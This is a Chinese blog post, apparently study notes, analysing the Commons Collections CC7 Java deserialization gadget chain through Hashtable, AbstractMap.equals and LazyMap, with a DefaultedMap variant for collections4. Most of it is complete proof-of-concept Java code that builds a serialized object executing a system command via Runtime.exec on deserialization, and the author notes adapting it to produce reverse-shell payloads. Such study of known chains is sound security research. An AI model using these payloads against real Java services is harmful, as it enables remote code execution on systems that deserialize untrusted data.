https://infernity.top/2024/04/18/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-CC7%E9%93%BE/
0x01链子分析 和CC5一样,改变了CC1的开头,但LaztMap#get()后半段是一样的
0x02版本 jdk:jdk8u65 CC:Commons-Collections 3.2.1
0x03链子寻找 那我们找一下能调用get的方法
AbstractMap#equals 在AbstractMap#equals中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } catch (ClassCastException unused) { return false ; } catch (NullPointerException unused) { return false ; } return true ; }
m.get()调用了get方法
Hashtable#reconstitutionPut() 在Hashtable类的reconstitutionPut中调用了equals方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
Hashtable#readObject() 在本类的readObject()方法中发现调用了reconstitutionPut方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); int length = (int )(elements * loadFactor) + (elements / 20 ) + 3 ; if (length > elements && (length & 1 ) == 0 ) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry <?,?>[length]; threshold = (int )Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1 ); count = 0 ; for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
0x04POC编写 我们先看一下equals方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } catch (ClassCastException unused) { return false ; } catch (NullPointerException unused) { return false ; } return true ; }
如果要进入get方法的话需要先经过三个if语句的判断
1 2 3 4 5 6 7 8 if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ;
往后看可以发现,当以上三个判断都不满足的情况下,则进一步判断Map中的元素,也就是判断元素的key和value的内容是否相同,在value不为null的情况下,m会调用get方法获取key的内容。虽然对象o强制成Map类型,但是m对象本质上是一个LazyMap。因此m对象调用get方法时实际上是调用了LazyMap的get方法。
我们看看readObject方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); int length = (int )(elements * loadFactor) + (elements / 20 ) + 3 ; if (length > elements && (length & 1 ) == 0 ) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry <?,?>[length]; threshold = (int )Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1 ); count = 0 ; for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
貌似没什么需要注意的
再来看看reconstitutionPut方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
reconstitutionPut方法首先对value进行不为null的校验,否则抛出反序列化异常
然后根据key计算出元素在table数组中的存储索引,判断元素在table数组中是否重复,这里的话会调用equals方法
CC7利用链的漏洞触发的关键就在reconstitutionPut方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals方法判断key是否重复时就会触发漏洞。
所以我们不难看出,在Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals方法,否则不会触发漏洞。
那么我们就需要创建两个Map对象
1 2 3 4 5 6 7 8 9 10 11 HashMap hashMap1 = new HashMap ();HashMap hashMap2 = new HashMap ();Map LazyMap1=LazyMap.decorate(hashMap1,chainedTransformer); LazyMap1.put("aa" ,1 ); Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);LazyMap2.put("bb" ,1 ); Hashtable hashtable = new Hashtable ();hashtable.put(LazyMap1,1 ); hashtable.put(LazyMap2,1 );
这里需要注意一个点,那就是在反序列化时,reconstitutionPut方法中的if判断中两个元素的hash值必须相同的情况下,才会调用eauals方法。
infer师傅这里给出两组hash相同的值:
我们写个POC
1 2 3 4 5 6 7 8 9 10 11 HashMap hashMap1 = new HashMap ();HashMap hashMap2 = new HashMap ();Map LazyMap1=LazyMap.decorate(hashMap1,chainedTransformer); LazyMap1.put("zZ" ,1 ); Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);LazyMap2.put("yy" ,1 ); Hashtable hashtable = new Hashtable ();hashtable.put(LazyMap1,1 ); hashtable.put(LazyMap2,1 );
在hashtable.put(LazyMap2,1)处 打断点调试一下
此时的key是lazyMap2对象,而lazyMap2实际上调用了AbstractMap抽象类的equals方法,equals方法内部会调用lazyMap2的get方法判断table数组中元素的key在lazyMap2是否已存在,如果不存在,transform会把当前传入的key返回作为value,然后lazyMap2会调用put方法把key和value(yy=yy)添加到lazyMap2。
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
当在反序列化时,reconstitutionPut方法在还原table数组时会调用equals方法判断重复元素,由于AbstractMap抽象类的equals方法校验的时候更为严格,会判断Map中元素的个数,由于lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞。
因此在构造CC7利用链的payload代码时,Hashtable在添加第二个元素后,lazyMap2需要调用remove方法删除元素yy才能触发漏洞。
所以我们最终的POC是
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package POC.CC7;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.util.AbstractMap;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap hashMap1 = new HashMap (); HashMap hashMap2 = new HashMap (); Map LazyMap1=LazyMap.decorate(hashMap1,chainedTransformer); LazyMap1.put("yy" ,1 ); Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer); LazyMap2.put("zZ" ,1 ); Hashtable hashtable = new Hashtable (); hashtable.put(LazyMap1,1 ); hashtable.put(LazyMap2,1 ); LazyMap2.remove("yy" ); serialize(hashtable); unserialize("CC7.txt" ); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("CC7.txt" )); oos.writeObject(object); oos.close(); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); } }
但是这里往往在利用的时候例如我们需要生成反弹shell的序列化字符串的时候,往往会因为put方法的提前触发而导致后面进行base64编码无法进行,所以还是用之前的方法,先放一个空的Transformer,再换回去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 package SerializeChains.CCchains.CC7;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.functors.ChainedTransformer;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.AbstractMap;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; Transformer transformerChain = new ChainedTransformer (new Transformer []{}); Map hashMap1 = new HashMap (); Map hashMap2 = new HashMap (); Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 1 ); System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode()); System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode()); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(transformerChain, transformers); lazyMap2.remove("yy" ); serialize(hashtable); unserialize("CC7.txt" ); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("CC7.txt" )); oos.writeObject(object); oos.close(); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); } }
0x05补充链 后面做题的时候又发现一条野生链,
1 Hashtable#readObject() 触发 DefaultedMap#equals() → 调用 transformer
先给poc,后面再补充上
POC2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 package SerializeChains.CCchains.CC7;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.map.DefaultedMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7plus { public static void main (String[] args) throws Exception { Transformer transformerChain = new ChainedTransformer (new Transformer []{}); Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; Map hashMap1 = new HashMap (); Map hashMap2 = new HashMap (); Class<DefaultedMap> d = DefaultedMap.class; Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class); declaredConstructor.setAccessible(true ); DefaultedMap defaultedMap1 = declaredConstructor.newInstance(hashMap1, transformerChain); DefaultedMap defaultedMap2 = declaredConstructor.newInstance(hashMap2, transformerChain); defaultedMap1.put("yy" , 1 ); defaultedMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(defaultedMap1, 1 ); hashtable.put(defaultedMap2, 1 ); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(transformerChain,transformers); defaultedMap2.remove("yy" ); serialize(hashtable); unserialize("CC7plus.txt" ); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("CC7plus.txt" )); oos.writeObject(object); oos.close(); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); } }
CC链总结 到此的话CC链的7条链子也算是学完了,我学的比较慢, 总是担心记不住知识点,总会多花时间返回去看笔记然后才开始学新的知识点,陆陆续续花费了差不多大半个月的时间,也算是比较慢的了,但总体来说审链子的时候还是学到了很多东西的,这里放infer师傅的一个CC链的思维导图